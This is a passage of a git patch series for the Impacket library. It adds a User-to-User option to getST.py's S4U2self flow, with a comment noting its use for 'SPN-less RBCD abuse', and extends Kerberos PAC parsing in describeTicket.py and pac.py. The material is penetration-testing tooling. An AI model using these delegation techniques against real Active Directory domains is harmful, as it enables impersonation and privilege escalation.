impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -30,6 +31,8 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 +PAC_ATTRIBUTES_INFO = 17 +PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -198,12 +201,27 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): + structure = ( + ('UpnLength', ' Date: Wed, 7 Sep 2022 11:47:58 +0200 Subject: [PATCH 132/152] Adding support for S4U2self + U2U --- examples/getST.py | 47 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 42 insertions(+), 5 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 75b564f95a..674a244597 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -31,9 +31,15 @@ # # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # -# Author: +# Authors: # Alberto Solino (@agsolino) -# +# Charlie Bromberg (@_nwodtuhs) +# Martin Gallo (@MartinGalloAr) +# Dirk-jan Mollema (@_dirkjan) +# Elad Shamir (@elad_shamir) +# @snovvcrash +# Leandro (@0xdeaddood) +# Jake Karnes (@jakekarnes42) from __future__ import division from __future__ import print_function @@ -57,7 +63,7 @@ from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart from impacket.krb5.ccache import CCache, Credential -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket @@ -449,11 +455,21 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) + + if self.__options.u2u: + logging.info("Combining S4U2self with U2U") + logging.info("TGT session key: %s" % hexlify(sessionKey.contents).decode()) + opts.append(constants.KDCOptions.renewable_ok.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) if self.__no_s4u2proxy and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__options.u2u: + serverName = Principal(self.__user, self.__domain, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -465,6 +481,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + if self.__options.u2u: + seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),)) + if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) @@ -670,7 +689,18 @@ def run(self): # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + if self.__options.u2u and self.__password: + # 1. calculating the NT hash for the user password + # 2. Using it to call getKerberosTGT and obtain a ticket with an RC4_HMAC session key + # 3. the RC4_HMAC session key can then be used for SPN-less RBCD abuse (session key set as new password of the user between S4U2self and S4U2proxy) + logging.info("Requesting TGT with etype RC4") + self.__nthash = hexlify(string_to_key(23, self.__password, '').contents).decode() + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), + self.__aesKey, + self.__kdcHost) + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) @@ -722,6 +752,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket') parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' @@ -762,6 +793,12 @@ def run(self): if options.additional_ticket is not None and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2proxy") + if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None): + parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket") + # implementing plain u2u would need to modify the getKerberosTGS() function and add a switch + # in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN + # the request would also need to embed an additional-ticket (the target user's TGT) + # Init the example's logger theme logger.init(options.ts) From bd6cde2db457fbf3be912971d4e81050c900d146 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 7 Sep 2022 15:01:28 +0200 Subject: [PATCH 133/152] Removing logging tabs for uniformity with other scripts --- examples/getST.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 674a244597..b9a44bbc82 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -348,7 +348,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) return r, None, sessionKey, None @@ -488,7 +488,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.debug('Final TGS') print(tgsReq.prettyPrint()) - logging.info('\tRequesting S4U2self') + logging.info('Requesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) @@ -670,7 +670,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) ) message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') + logging.info('Requesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) return r, None, sessionKey, None From 6ab1acf231c9c96dae111101fc061ea38e7de8c5 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Tue, 30 Aug 2022 17:11:52 +0200 Subject: [PATCH 134/152] add PAC_REQUESTOR and PAC_ATTRIBUTES_INFO --- examples/describeTicket.py | 23 ++++++++++++++++++++++- impacket/krb5/pac.py | 17 ++++++++++++++++- 2 files changed, 38 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index ce25ee2db9..0f866b0beb 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -101,6 +101,10 @@ class UF_FLAG_Codes(Enum): UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 UF_USE_AES_KEYS = 0x08000000 +# PAC_ATTRIBUTES_INFO Flags code +class Attributes_Flags(Enum): + PAC_WAS_REQUESTED = 0x00000001 + PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -422,7 +426,24 @@ def PACparseGroupIds(data): parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) - + elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: + attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) + flags = attributeInfo['Flags'] + attr_flags = [] + for flag_lib in Attributes_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) + + parsed_data = { + 'Flags': f"({flags}) {', '.join(attr_flags)}" + } + parsed_tuPAC.append({"Attributes Info": parsed_data}) + elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: + requestorInfo = pac.PAC_REQUESTOR(data) + parsed_data = { + 'UserSid': requestorInfo['UserSid'].formatCanonical() + } + parsed_tuPAC.append({"Requestor Info": parsed_data}) else: logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f85..3122399fa3 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -12,7 +12,7 @@ # Author: # Alberto Solino (@agsolino) # -from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 @@ -30,6 +30,8 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 +PAC_ATTRIBUTES_INFO = 17 +PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -236,3 +238,16 @@ class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) + +# 2.14 PAC_ATTRIBUTES_INFO +class PAC_ATTRIBUTE_INFO(NDRSTRUCT): + structure = ( + ('FlagsLength', ULONG), + ('Flags', ULONG), + ) + +# 2.15 PAC_REQUESTOR +class PAC_REQUESTOR(NDRSTRUCT): + structure = ( + ('UserSid', RPC_SID), + ) From 4ed1c52f2ddd2d8ab7fa4917298039222ed50390 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 31 Aug 2022 12:18:09 +0200 Subject: [PATCH 135/152] Temporary fix RPC_SID faulty implem with LDAP_SID --- impacket/krb5/pac.py | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 3122399fa3..d119349e7c 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -16,6 +16,7 @@ from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -247,7 +248,29 @@ class PAC_ATTRIBUTE_INFO(NDRSTRUCT): ) # 2.15 PAC_REQUESTOR -class PAC_REQUESTOR(NDRSTRUCT): - structure = ( - ('UserSid', RPC_SID), - ) +# It should be RPC_SID (with NDRSTRUCT sub-class) but the impacket implementation is malfunctioning: https://github.com/SecureAuthCorp/impacket/issues/1386 +#class PAC_REQUESTOR(NDRSTRUCT): +# structure = ( +# ('UserSid', RPC_SID), +# ) +# In the meantime, using LDAP_SID with minimal custom implementation +class PAC_REQUESTOR: + + def __init__(self, data): + self.fields = {'UserSid': LDAP_SID(data)} + + # For other method not implemented, directly call 'UserSid' field + def __getitem__(self, key): + return self.fields[key] + + def __setitem__(self, key, value): + self.fields[key] = value + + def getData(self): + return self.fields['UserSid'].getData() + + def __str__(self): + return self.getData() + + def __len__(self): + return len(self.getData()) From 9d2276be1b1882456baad3762e61c3e32c354ae8 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Wed, 31 Aug 2022 12:57:37 +0200 Subject: [PATCH 136/152] Complete UPN_DNS_INFO implementation with S Flag data --- examples/describeTicket.py | 24 +++++++++++++++++++++++- impacket/krb5/pac.py | 4 ++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0f866b0beb..59f910f8c5 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -36,6 +36,7 @@ from impacket.krb5.ccache import CCache from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.ldap.ldaptypes import LDAP_SID PSID = PRPC_SID @@ -101,6 +102,11 @@ class UF_FLAG_Codes(Enum): UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 UF_USE_AES_KEYS = 0x08000000 +# PAC_ATTRIBUTES_INFO Flags code +class Upn_Dns_Flags(Enum): + U_UsernameOnly = 0x00000001 + S_SidSamSupplied = 0x00000002 + # PAC_ATTRIBUTES_INFO Flags code class Attributes_Flags(Enum): PAC_WAS_REQUESTED = 0x00000001 @@ -360,10 +366,26 @@ def PACparseGroupIds(data): DnsDomainNameLength = upn['DnsDomainNameLength'] DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') + flags = upn['Flags'] + attr_flags = [] + for flag_lib in Upn_Dns_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) parsed_data = {} - parsed_data['Flags'] = upn['Flags'] + parsed_data['Flags'] = f"({flags}) {', '.join(attr_flags)}" parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName + + if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: + # SamAccountName and Sid is also supplied + SamNameLength = upn['SamNameLength'] + SamNameOffset = upn['SamNameOffset'] + SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') + SidLength = upn['SidLength'] + SidOffset = upn['SidOffset'] + Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) + parsed_data["SamAccountName"] = SamName + parsed_data["UserSid"] = Sid.formatCanonical() parsed_tuPAC.append({"UpnDns": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index d119349e7c..c223240bdd 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -207,6 +207,10 @@ class UPN_DNS_INFO(Structure): ('DnsDomainNameLength', ' Date: Wed, 31 Aug 2022 16:37:34 +0200 Subject: [PATCH 137/152] Split UPN_DNS struct --- examples/describeTicket.py | 1 + impacket/krb5/pac.py | 11 +++++++++++ 2 files changed, 12 insertions(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 59f910f8c5..5d0809cec4 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -377,6 +377,7 @@ def PACparseGroupIds(data): parsed_data['DNS Domain Name'] = DnsName if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: + upn = pac.UPN_DNS_INFO_FULL(data) # SamAccountName and Sid is also supplied SamNameLength = upn['SamNameLength'] SamNameOffset = upn['SamNameOffset'] diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index c223240bdd..9529d4e601 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -201,6 +201,17 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): + structure = ( + ('UpnLength', ' Date: Wed, 31 Aug 2022 17:11:40 +0200 Subject: [PATCH 138/152] Handle null constructor --- impacket/krb5/pac.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 9529d4e601..62c97d8de1 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -271,7 +271,7 @@ class PAC_ATTRIBUTE_INFO(NDRSTRUCT): # In the meantime, using LDAP_SID with minimal custom implementation class PAC_REQUESTOR: - def __init__(self, data): + def __init__(self, data=None): self.fields = {'UserSid': LDAP_SID(data)} # For other method not implemented, directly call 'UserSid' field From 1aaba17e475da4ecafa81d059d1549bded37d980 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 15:12:03 +0200 Subject: [PATCH 139/152] Add multiline print for data array + Add a corresponding table for well-kwonw group Id --- examples/describeTicket.py | 124 +++++++++++++++++++++++++++++++++++-- 1 file changed, 118 insertions(+), 6 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 5d0809cec4..be0aaf1acd 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -18,9 +18,9 @@ import sys import traceback import argparse -import binascii import datetime import base64 +from typing import Sequence from Cryptodome.Hash import MD4 from enum import Enum @@ -112,6 +112,76 @@ class Attributes_Flags(Enum): PAC_WAS_REQUESTED = 0x00000001 PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 + +# Builtin known Windows Group +MsBuiltInGroups = { + '512': "Domain Admins", + '513': "Domain Users", + '514': "Domain Guests", + '515': "Domain Computers", + '516': "Domain Controllers", + '517': "Cert Publishers", + '518': "Schema Admins", + '519': "Enterprise Admins", + '520': "Group Policy Creator Owners", + '553': "RAS and IAS Servers", + "S-1-5-1": "Dialup", + "S-1-5-113": "Local account", + "S-1-5-114": "Local account and member of Administrators group", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous Logon", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server User", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "IUSR", + "S-1-5-18": "System (or LocalSystem)", + "S-1-5-19": "NT Authority (LocalService)", + "S-1-5-20": "Network Service", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-32-554": "Builtin\\Pre-Windows", + "S-1-5-32-555": "Builtin\\Remote Desktop Users", + "S-1-5-32-556": "Builtin\\Network Configuration Operators", + "S-1-5-32-557": "Builtin\\Incoming Forest Trust Builders", + "S-1-5-32-558": "Builtin\\Performance Monitor Users", + "S-1-5-32-559": "Builtin\\Performance Log Users", + "S-1-5-32-560": "Builtin\\Windows Authorization Access Group", + "S-1-5-32-561": "Builtin\\Terminal Server License Servers", + "S-1-5-32-562": "Builtin\\Distributed COM Users", + "S-1-5-32-568": "Builtin\\IIS_IUSRS", + "S-1-5-32-569": "Builtin\\Cryptographic Operators", + "S-1-5-32-573": "Builtin\\Event Log Readers", + "S-1-5-32-574": "Builtin\\Certificate Service DCOM Access", + "S-1-5-32-575": "Builtin\\RDS Remote Access Servers", + "S-1-5-32-576": "Builtin\\RDS Endpoint Servers", + "S-1-5-32-577": "Builtin\\RDS Management Servers", + "S-1-5-32-578": "Builtin\\Hyper-V Administrators", + "S-1-5-32-579": "Builtin\\Access Control Assistance Operators", + "S-1-5-32-580": "Builtin\\Remote Management Users", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authentication", + "S-1-5-80": "NT Service", + "S-1-5-80-0": "All Services", + "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", +} + + def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -220,13 +290,28 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + # parsing every PAC parsed_pac = parse_pac(pacType, args) logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) + # One section per PAC for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] logging.info(" %-28s" % element_type_name) + # iterate over each attribute of the current PAC for attribute in element_type[element_type_name]: - logging.info(" %-26s: %s" % (attribute, element_type[element_type_name][attribute])) + value = element_type[element_type_name][attribute] + if isinstance(value, str): + logging.info(" %-26s: %s" % (attribute, value)) + elif isinstance(value, Sequence): + # If the value is an array, print as a multiline view for better readability + if len(value) > 0: + logging.info(" %-26s: %s" % (attribute, value[0])) + for subvalue in value[1:]: + logging.info(" "*32+"%s" % subvalue) + else: + logging.info(" %-26s:" % attribute) + else: + logging.debug(f"Unknown data type : {type(value)} > {value}") cred_number += 1 @@ -291,7 +376,15 @@ def PACparseGroupIds(data): parsed_data['User RID'] = kerbdata['UserId'] parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] parsed_data['Group Count'] = kerbdata['GroupCount'] - parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + + all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] + groups = [", ".join(all_groups_id)] + # Searching for common group name + for gid in all_groups_id: + group_name = MsBuiltInGroups.get(gid) + if group_name: + groups.append(f"({gid}) {group_name}") + parsed_data['Groups'] = groups # UserFlags parsing UserFlags = kerbdata['UserFlags'] @@ -328,8 +421,15 @@ def PACparseGroupIds(data): for flag in SE_GROUP_Attributes: if attributes & flag.value: attributes_flags.append(flag.name) - extraSids.append("%s (%s)" % (sid, ', '.join(attributes_flags))) - parsed_data['Extra SIDs'] = ', '.join(extraSids) + # Group name matching + group_name = MsBuiltInGroups.get(sid, '') + if not group_name and len(sid.split('-')) == 8: + # Try to find an RID match + group_name = MsBuiltInGroups.get(sid.split('-')[-1], '') + if group_name: + group_name = f" {group_name}" + extraSids.append("%s%s (%s)" % (sid, group_name, ', '.join(attributes_flags))) + parsed_data['Extra SIDs'] = extraSids # ResourceGroupDomainSid parsing if kerbdata['ResourceGroupDomainSid'] == b'': @@ -360,12 +460,17 @@ def PACparseGroupIds(data): elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: upn = pac.UPN_DNS_INFO(data) + # UPN PArsing UpnLength = upn['UpnLength'] UpnOffset = upn['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') + + # DNS Name Parsing DnsDomainNameLength = upn['DnsDomainNameLength'] DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') + + # Flag parsing flags = upn['Flags'] attr_flags = [] for flag_lib in Upn_Dns_Flags: @@ -376,15 +481,20 @@ def PACparseGroupIds(data): parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName + # Depending on the flag supplied, additional data may be supplied if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: - upn = pac.UPN_DNS_INFO_FULL(data) # SamAccountName and Sid is also supplied + upn = pac.UPN_DNS_INFO_FULL(data) + # Sam parsing SamNameLength = upn['SamNameLength'] SamNameOffset = upn['SamNameOffset'] SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') + + # Sid parsing SidLength = upn['SidLength'] SidOffset = upn['SidOffset'] Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) + parsed_data["SamAccountName"] = SamName parsed_data["UserSid"] = Sid.formatCanonical() parsed_tuPAC.append({"UpnDns": parsed_data}) @@ -450,6 +560,7 @@ def PACparseGroupIds(data): parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') parsed_tuPAC.append({"DelegationInfo": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: + # Parsing 2.14 PAC_ATTRIBUTES_INFO attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) flags = attributeInfo['Flags'] attr_flags = [] @@ -462,6 +573,7 @@ def PACparseGroupIds(data): } parsed_tuPAC.append({"Attributes Info": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: + # Parsing 2.15 PAC_REQUESTOR requestorInfo = pac.PAC_REQUESTOR(data) parsed_data = { 'UserSid': requestorInfo['UserSid'].formatCanonical() From d3109e87e4ef32dcf8baba04bf3f76313bfb4080 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 16:23:58 +0200 Subject: [PATCH 140/152] Add more well-known SID --- examples/describeTicket.py | 56 ++++++++++++++++++++++++++++++-------- 1 file changed, 44 insertions(+), 12 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index be0aaf1acd..6503e97555 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -115,19 +115,33 @@ class Attributes_Flags(Enum): # Builtin known Windows Group MsBuiltInGroups = { - '512': "Domain Admins", - '513': "Domain Users", - '514': "Domain Guests", - '515': "Domain Computers", - '516': "Domain Controllers", - '517': "Cert Publishers", - '518': "Schema Admins", - '519': "Enterprise Admins", - '520': "Group Policy Creator Owners", - '553': "RAS and IAS Servers", + "498": "Enterprise Read-Only Domain Controllers", + "512": "Domain Admins", + "513": "Domain Users", + "514": "Domain Guests", + "515": "Domain Computers", + "516": "Domain Controllers", + "517": "Cert Publishers", + "518": "Schema Admins", + "519": "Enterprise Admins", + "520": "Group Policy Creator Owners", + "521": "Read-Only Domain Controllers", + "522": "Cloneable Controllers", + "525": "Protected Users", + "526": "Key Admins", + "527": "Enterprise Key Admins", + "553": "RAS and IAS Servers", + "571": "Allowed RODC Password Replication Group", + "572": "Denied RODC Password Replication Group", + "S-1-1-0": "Everyone", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Owner Server", + "S-1-3-3": "Group Server", + "S-1-3-4": "Owner Rights", "S-1-5-1": "Dialup", - "S-1-5-113": "Local account", - "S-1-5-114": "Local account and member of Administrators group", "S-1-5-2": "Network", "S-1-5-3": "Batch", "S-1-5-4": "Interactive", @@ -179,6 +193,24 @@ class Attributes_Flags(Enum): "S-1-5-80": "NT Service", "S-1-5-80-0": "All Services", "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", + "S-1-5-113": "Local Account", + "S-1-5-114": "Local Account and member of Administrators group", + "S-1-5-1000": "Other Organization", + "S-1-15-2-1": "All app packages", + "S-1-16-0": "ML Untrusted", + "S-1-16-4096": "ML Low", + "S-1-16-8192": "ML Medium", + "S-1-16-8448": "ML Medium Plus", + "S-1-16-12288": "ML High", + "S-1-16-16384": "ML System", + "S-1-16-20480": "ML Protected Process", + "S-1-16-28672": "ML Secure Process", + "S-1-18-1": "Authentication authority asserted identity", + "S-1-18-2": "Service asserted identity", + "S-1-18-3": "Fresh public key identity", + "S-1-18-4": "Key trust identity", + "S-1-18-5": "Key property MFA", + "S-1-18-6": "Key property attestation", } From 33466dca696dede6fbaf803c346337f4bc4b5c83 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 17:28:42 +0200 Subject: [PATCH 141/152] Change default type behavior --- examples/describeTicket.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 6503e97555..4fff848148 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -332,9 +332,7 @@ def parse_ccache(args): # iterate over each attribute of the current PAC for attribute in element_type[element_type_name]: value = element_type[element_type_name][attribute] - if isinstance(value, str): - logging.info(" %-26s: %s" % (attribute, value)) - elif isinstance(value, Sequence): + if isinstance(value, Sequence) and not isinstance(value, str): # If the value is an array, print as a multiline view for better readability if len(value) > 0: logging.info(" %-26s: %s" % (attribute, value[0])) @@ -343,7 +341,7 @@ def parse_ccache(args): else: logging.info(" %-26s:" % attribute) else: - logging.debug(f"Unknown data type : {type(value)} > {value}") + logging.info(" %-26s: %s" % (attribute, value)) cred_number += 1 From 68a67bf08fb0cbbabcce506ed5f040a7b73417cb Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 22:11:43 +0200 Subject: [PATCH 142/152] Add Groups decoded field --- examples/describeTicket.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 